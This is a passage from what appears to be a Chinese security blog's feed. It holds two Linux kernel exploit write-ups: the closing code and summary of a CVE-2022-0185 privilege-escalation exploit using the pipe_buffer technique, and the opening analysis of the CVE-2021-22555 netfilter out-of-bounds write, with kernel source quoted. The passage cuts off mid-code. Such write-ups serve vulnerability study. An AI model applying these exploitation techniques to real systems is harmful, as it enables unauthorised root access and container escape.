punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token keyword">char</span> sync<span class="token punctuation">;</span>    <span class="token function">read</span><span class="token punctuation">(</span>notify_pipe<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>sync<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>sync <span class="token operator">==</span> <span class="token string">'Y'</span><span class="token punctuation">)</span>      <span class="token function">execl</span><span class="token punctuation">(</span>ATTACK_FILE<span class="token punctuation">,</span> ATTACK_FILE<span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">else</span>  <span class="token punctuation">&#123;</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"fork() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>经过 CVE-2021-22555 和本文的 CVE-2022-0185，对于这种能转化为 kmalloc-1024 的 UAF 的漏洞，本地提权的利用方式都很简单，只要 skb 修改 pipe_buffer 做 pipe primitive 就好了，而且 pipe primitive 不用 bypass kaslr，几乎一个 exp 就能通杀含有漏洞的 linux 各个版本，非常好用</p><p>但是对于 google <a href="https://github.com/google/kctf">kctf</a> 或者其他容器环境下，利用漏洞逃逸容器就不能用这种方式了，需要用 skb 劫持 pipe_buffer ops 进行 ROP 提权后执行 <code>switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)</code> 来获得 root namespace 的 root 权限</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><blockquote><p>[1] <a href="https://www.willsroot.io/2022/01/cve-2022-0185.html">https://www.willsroot.io/2022/01/cve-2022-0185.html</a></p></blockquote><blockquote><p>[2] <a href="https://www.hackthebox.com/blog/CVE-2022-0185:_A_case_study">https://www.hackthebox.com/blog/CVE-2022-0185:_A_case_study</a></p></blockquote><blockquote><p>[3] <a href="https://github.com/veritas501/pipe-primitive">https://github.com/veritas501/pipe-primitive</a></p></blockquote><blockquote><p>[4] <a href="https://github.com/veritas501/CVE-2022-0185-PipeVersion">https://github.com/veritas501/CVE-2022-0185-PipeVersion</a></p></blockquote><blockquote><p>[5] <a href="https://bsauce.github.io/2022/04/08/CVE-2022-0185/">https://bsauce.github.io/2022/04/08/CVE-2022-0185/</a></p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;初尝 pipe_primitive&lt;br&gt;&lt;img src=&quot;/images/4161b49f/pasted-2.png&quot; alt=&quot;exploit&quot;&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="kernel" scheme="http://www.xi4oyu.top/categories/kernel/"/>
    
    
      <category term="kernel" scheme="http://www.xi4oyu.top/tags/kernel/"/>
    
      <category term="CVE" scheme="http://www.xi4oyu.top/tags/CVE/"/>
    
      <category term="pipe_primitive" scheme="http://www.xi4oyu.top/tags/pipe-primitive/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2021-22555</title>
    <link href="http://www.xi4oyu.top/c7dcc58a/"/>
    <id>http://www.xi4oyu.top/c7dcc58a/</id>
    <published>2022-03-31T06:08:00.000Z</published>
    <updated>2022-03-31T06:08:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>从4字节堆溢出写0到UAF，再到提权，该 linux kernel 漏洞的利用思路非常值得学习<br><img src="/images/c7dcc58a/pasted-0.png" alt="exploit"></p><span id="more"></span><h2 id="环境准备"><a href="#环境准备" class="headerlink" title="环境准备"></a>环境准备</h2><p>漏洞影响的版本范围比较广的，根据google <a href="https://github.com/google/security-research/security/advisories/GHSA-xxx5-8mvq-3528">security-research</a> 描述，已经 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b29c457a6511435960115c0f548c4360d5f4801d">patch</a> 的版本有 5.12，5.10.31, 5.4.113, 4.19.188, 4.14.231, 4.9.267, 4.4.267</p><p>这里偷懒选择已有的环境:<br><a href="https://github.com/bsauce/kernel-exploit-factory/tree/main/CVE-2021-22555">https://github.com/bsauce/kernel-exploit-factory/tree/main/CVE-2021-22555</a></p><p>该内核版本为 5.11.14，稍后也以这个版本的源码来解析</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>当在 64 位 linux 下，兼容运行 32 位程序，调用 <code>setsockopt(sockfd, SOL_IP, IPT_SO_SET_REPLACE, &amp;data, sizeof(data))</code>时，内核会先调用 <a href="https://elixir.bootlin.com/linux/v5.11.14/source/net/ipv4/netfilter/ip_tables.c#L1389">translate_compat_table</a> 将 <a href="https://elixir.bootlin.com/linux/v5.11.14/source/include/linux/netfilter/x_tables.h#L248"><strong>xt_table_info</strong></a> 32 位下的结构体转存储为 64 位模式的结构体：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">/* The table itself */</span><span class="token keyword">struct</span> <span class="token class-name">xt_table_info</span> <span class="token punctuation">&#123;</span><span class="token comment">/* Size per table */</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> size<span class="token punctuation">;</span><span class="token comment">/* Number of entries: FIXME. --RR */</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> number<span class="token punctuation">;</span><span class="token comment">/* Initial number of entries. Needed for module usage count */</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> initial_entries<span class="token punctuation">;</span><span class="token comment">/* Entry points and underflows */</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> hook_entry<span class="token punctuation">[</span>NF_INET_NUMHOOKS<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> underflow<span class="token punctuation">[</span>NF_INET_NUMHOOKS<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">/* * Number of user chains. Since tables cannot have loops, at most * @stacksize jumps (number of user chains) can possibly be made. */</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> stacksize<span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token operator">*</span><span class="token operator">*</span><span class="token operator">*</span>jumpstack<span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">char</span> entries<span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token function">__aligned</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其中 entries 字段指向的是由 <a href="https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter_ipv4/ip_tables.h#L106"><strong>ipt_entry</strong></a> 结构体组成的数组:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span> <span class="token class-name">ipt_entry</span> <span class="token punctuation">&#123;</span><span class="token keyword">struct</span> <span class="token class-name">ipt_ip</span> ip<span class="token punctuation">;</span><span class="token comment">/* Mark with fields that we care about. */</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> nfcache<span class="token punctuation">;</span><span class="token comment">/* Size of ipt_entry + matches */</span>__u16 target_offset<span class="token punctuation">;</span><span class="token comment">/* Size of ipt_entry + matches + target */</span>__u16 next_offset<span class="token punctuation">;</span><span class="token comment">/* Back pointer */</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> comefrom<span class="token punctuation">;</span><span class="token comment">/* Packet and byte counters. */</span><span class="token keyword">struct</span> <span class="token class-name">xt_counters</span> counters<span class="token punctuation">;</span><span class="token comment">/* The matches (if any), then the target. */</span><span class="token keyword">unsigned</span> <span class="token keyword">char</span> elems<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其中的 target_offset 是相对于 ipt_entry 的偏移，指向了一个 <a href="https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter/x_tables.h#L34"><strong>xt_entry_target</strong></a> 结构体:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span> <span class="token class-name">xt_entry_target</span> <span class="token punctuation">&#123;</span><span class="token keyword">union</span> <span class="token punctuation">&#123;</span><span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>__u16 target_size<span class="token punctuation">;</span><span class="token comment">/* Used by userspace */</span><span class="token keyword">char</span> name<span class="token punctuation">[</span>XT_EXTENSION_MAXNAMELEN<span class="token punctuation">]</span><span class="token punctuation">;</span>__u8 revision<span class="token punctuation">;</span><span class="token punctuation">&#125;</span> user<span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>__u16 target_size<span class="token punctuation">;</span><span class="token comment">/* Used inside the kernel */</span><span class="token keyword">struct</span> <span class="token class-name">xt_target</span> <span class="token operator">*</span>target<span class="token punctuation">;</span><span class="token punctuation">&#125;</span> kernel<span class="token punctuation">;</span><span class="token comment">/* Total length */</span>__u16 target_size<span class="token punctuation">;</span><span class="token punctuation">&#125;</span> u<span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">char</span> data<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>漏洞出在 <code>translate_compat_table</code> 调用的 <a href="https://elixir.bootlin.com/linux/v5.11.14/source/net/netfilter/x_tables.c#L1131">xt_compat_target_from_user</a>，调用 <code>memset(t-&gt;data + target-&gt;targetsize, pad)</code> 对齐空间清零</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">void</span> <span class="token function">xt_compat_target_from_user</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">xt_entry_target</span> <span class="token operator">*</span>t<span class="token punctuation">,</span> <span class="token keyword">void</span> <span class="token operator">*</span><span class="token operator">*</span>dstptr<span class="token punctuation">,</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> <span class="token operator">*</span>size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">const</span> <span class="token keyword">struct</span> <span class="token class-name">xt_target</span> <span class="token operator">*</span>target <span class="token operator">=</span> t<span class="token operator">-></span>u<span class="token punctuation">.</span>kernel<span class="token punctuation">.</span>target<span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">compat_xt_entry_target</span> <span class="token operator">*</span>ct <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">compat_xt_entry_target</span> <span class="token operator">*</span><span class="token punctuation">)</span>t<span class="token punctuation">;</span><span class="token keyword">int</span> pad<span class="token punctuation">,</span> off <span class="token operator">=</span> <span class="token function">xt_compat_target_offset</span><span class="token punctuation">(</span>target<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">u_int16_t</span> tsize <span class="token operator">=</span> ct<span class="token operator">-></span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>target_size<span class="token punctuation">;</span><span class="token keyword">char</span> name<span class="token punctuation">[</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>t<span class="token operator">-></span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">;</span>t <span class="token operator">=</span> <span class="token operator">*</span>dstptr<span class="token punctuation">;</span><span class="token function">memcpy</span><span class="token punctuation">(</span>t<span class="token punctuation">,</span> ct<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token operator">*</span>ct<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>target<span class="token operator">-></span>compat_from_user<span class="token punctuation">)</span>target<span class="token operator">-></span><span class="token function">compat_from_user</span><span class="token punctuation">(</span>t<span class="token operator">-></span>data<span class="token punctuation">,</span> ct<span class="token operator">-></span>data<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">else</span><span class="token function">memcpy</span><span class="token punctuation">(</span>t<span class="token operator">-></span>data<span class="token punctuation">,</span> ct<span class="token operator">-></span>data<span class="token punctuation">,</span> tsize <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token operator">*</span>ct<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>pad <span class="token operator">=</span> <span class="token function">XT_ALIGN</span><span class="token punctuation">(</span>target<span class="token operator">-></span>targetsize<span class="token punctuation">)</span> <span class="token operator">-</span> target<span class="token operator">-></span>targetsize<span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>pad <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token function">memset</span><span class="token punctuation">(</span>t<span class="token operator">-></span>data <span class="token operator">+</span> target<span class="token operator">-></span>targetsize<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> pad<span class="token punctuation">)</span><span class="token punctuation">;</span>tsize <span class="token operator">+=</span> off<span class="token punctuation">;</span>t<span class="token operator">-></span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>target_size <span class="token operator">=</span> tsize<span class="token punctuation">;</span><span class="token function">strlcpy</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> target<span class="token operator">-></span>name<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">module_put</span><span class="token punctuation">(</span>target<span class="token operator">-></span>me<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">strncpy</span><span class="token punctuation">(</span>t<span class="token operator">-></span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>name<span class="token punctuation">,</span> name<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>t<span class="token operator">-></span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">*</span>size <span class="token operator">+=</span> off<span class="token punctuation">;</span><span class="token operator">*</span>dstptr <span class="token operator">+=</span> tsize<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>而在 <code>translate_compat_table</code> 调用 <code>xt_alloc_table_info</code> 处，<strong>对 size 的计算并没有 <code>target-&gt;targetsize</code> 的参与</strong>，而仅在 <a href="https://elixir.bootlin.com/linux/v5.11.14/source/net/ipv4/netfilter/ip_tables.c#L1284"><code>check_compat_entry_size_and_hooks</code></a> 里，加上了为了对齐 matchsize 和 targetsize 的共 8 字节的大小，因此导致越界写 0 的效果</p><blockquote><p>IPT_SO_SET_REPLACE 需要 <strong>CAP_NET_ADMIN</strong> 权限，但是这个权限可以在新建 user、network 的命名空间里获得</p></blockquote><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><h3 id="xt-table-info"><a href="#xt-table-info" class="headerlink" title="xt_table_info"></a>xt_table_info</h3><p>根据源码，可以分析出 xt_table_info 结构体的布局，如下图：<br><img src="/images/c7dcc58a/pasted-1.png" alt="xt_table_info"></p><p>其中 match 和 target 的 data 字段都是大小可变的，转存储后，给 match 和 target 都加上的 4 字节的补齐，然后就是越界 memset 了</p><h3 id="控制-targetsize"><a href="#控制-targetsize" class="headerlink" title="控制 targetsize"></a>控制 targetsize</h3><p>通过控制 targetsize ，则可以控制越界写 0，但是这个 targetsize 不能直接控制，通过选择不同的 target，对应不同的 targetsize，可以越界最多 0x4c 个字节，target 的选择在以下的调用链中<a href="https://elixir.bootlin.com/linux/v5.11.14/source/net/ipv4/netfilter/ip_tables.c#L1284">check_compat_entry_size_and_hooks</a> -&gt; <a href="https://elixir.bootlin.com/linux/v5.11.14/source/net/netfilter/x_tables.c#L255">xt_request_find_target</a> -&gt; <a href="https://elixir.bootlin.com/linux/v5.11.14/source/net/netfilter/x_tables.c#L226">xt_find_target</a></p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> <span class="token keyword">struct</span> <span class="token class-name">xt_target</span> <span class="token operator">*</span><span class="token function">xt_find_target</span><span class="token punctuation">(</span>u8 af<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span>name<span class="token punctuation">,</span> u8 revision<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">struct</span> <span class="token class-name">xt_target</span> <span class="token operator">*</span>t<span class="token punctuation">;</span><span class="token keyword">int</span> err <span class="token operator">=</span> <span class="token operator">-</span>ENOENT<span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">strnlen</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> XT_EXTENSION_MAXNAMELEN<span class="token punctuation">)</span> <span class="token operator">==</span> XT_EXTENSION_MAXNAMELEN<span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token function">ERR_PTR</span><span class="token punctuation">(</span><span class="token operator">-</span>EINVAL<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">mutex_lock</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>xt<span class="token punctuation">[</span>af<span class="token punctuation">]</span><span class="token punctuation">.</span>mutex<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">list_for_each_entry</span><span class="token punctuation">(</span>t<span class="token punctuation">,</span> <span class="token operator">&amp;</span>xt<span class="token punctuation">[</span>af<span class="token punctuation">]</span><span class="token punctuation">.</span>target<span class="token punctuation">,</span> list<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">strcmp</span><span class="token punctuation">(</span>t<span class="token operator">-></span>name<span class="token punctuation">,</span> name<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>t<span class="token operator">-></span>revision <span class="token operator">==</span> revision<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">try_module_get</span><span class="token punctuation">(</span>t<span class="token operator">-></span>me<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token function">mutex_unlock</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>xt<span class="token punctuation">[</span>af<span class="token punctuation">]</span><span class="token punctuation">.</span>mutex<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> t<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span>err <span class="token operator">=</span> <span class="token operator">-</span>EPROTOTYPE<span class="token punctuation">;</span> <span class="token comment">/* Found something. */</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token function">mutex_unlock</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>xt<span class="token punctuation">[</span>af<span class="token punctuation">]</span><span class="token punctuation">.</span>mutex<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>af <span class="token operator">!=</span> NFPROTO_UNSPEC<span class="token punctuation">)</span><span class="token comment">/* Try searching again in the family-independent list */</span><span class="token keyword">return</span> <span class="token function">xt_find_target</span><span class="token punctuation">(</span>NFPROTO_UNSPEC<span class="token punctuation">,</span> name<span class="token punctuation">,</span> revision<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token function">ERR_PTR</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>google security-research 中的 poc 所使用的 NFLOG，在 <a href="https://elixir.bootlin.com/linux/v5.11.14/source/net/netfilter/xt_NFLOG.c#L72">nfqueue_tg_init</a> 中注册到 xt 变量里：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> <span class="token keyword">struct</span> <span class="token class-name">xt_target</span> nfqueue_tg_reg<span class="token punctuation">[</span><span class="token punctuation">]</span> __read_mostly <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#123;</span><span class="token punctuation">.</span>name<span class="token operator">=</span> <span class="token string">"NFQUEUE"</span><span class="token punctuation">,</span><span class="token punctuation">.</span>family<span class="token operator">=</span> NFPROTO_UNSPEC<span class="token punctuation">,</span><span class="token punctuation">.</span>target<span class="token operator">=</span> nfqueue_tg<span class="token punctuation">,</span><span class="token punctuation">.</span>targetsize<span class="token operator">=</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">xt_NFQ_info</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">.</span>me<span class="token operator">=</span> THIS_MODULE<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span><span class="token punctuation">&#123;</span><span class="token punctuation">.</span>name<span class="token operator">=</span> <span class="token string">"NFQUEUE"</span><span class="token punctuation">,</span><span class="token punctuation">.</span>revision<span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">,</span><span class="token punctuation">.</span>family<span class="token operator">=</span> NFPROTO_UNSPEC<span class="token punctuation">,</span><span class="token punctuation">.</span>checkentry<span class="token operator">=</span> nfqueue_tg_check<span class="token punctuation">,</span><span class="token punctuation">.</span>target<span class="token operator">=</span> nfqueue_tg_v1<span class="token punctuation">,</span><span class="token punctuation">.</span>targetsize<span class="token operator">=</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">xt_NFQ_info_v1</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">.</span>me<span class="token operator">=</span> THIS_MODULE<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span><span class="token punctuation">&#123;</span><span class="token punctuation">.</span>name<span class="token operator">=</span> <span class="token string">"NFQUEUE"</span><span class="token punctuation">,</span><span class="token punctuation">.</span>revision<span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">,</span><span class="token punctuation">.</span>family<span class="token operator">=</span> NFPROTO_UNSPEC<span class="token punctuation">,</span><span class="token punctuation">.</span>checkentry<span class="token operator">=</span> nfqueue_tg_check<span class="token punctuation">,</span><span class="token punctuation">.</span>target<span class="token operator">=</span> nfqueue_tg_v2<span class="token punctuation">,</span><span class="token punctuation">.</span>targetsize<span class="token operator">=</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">xt_NFQ_info_v2</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">.</span>me<span class="token operator">=</span> THIS_MODULE<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span><span class="token punctuation">&#123;</span><span class="token punctuation">.</span>name<span class="token operator">=</span> <span class="token string">"NFQUEUE"</span><span class="token punctuation">,</span><span class="token punctuation">.</span>revision<span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">,</span><span class="token punctuation">.</span>family<span class="token operator">=</span> NFPROTO_UNSPEC<span class="token punctuation">,</span><span class="token punctuation">.</span>checkentry<span class="token 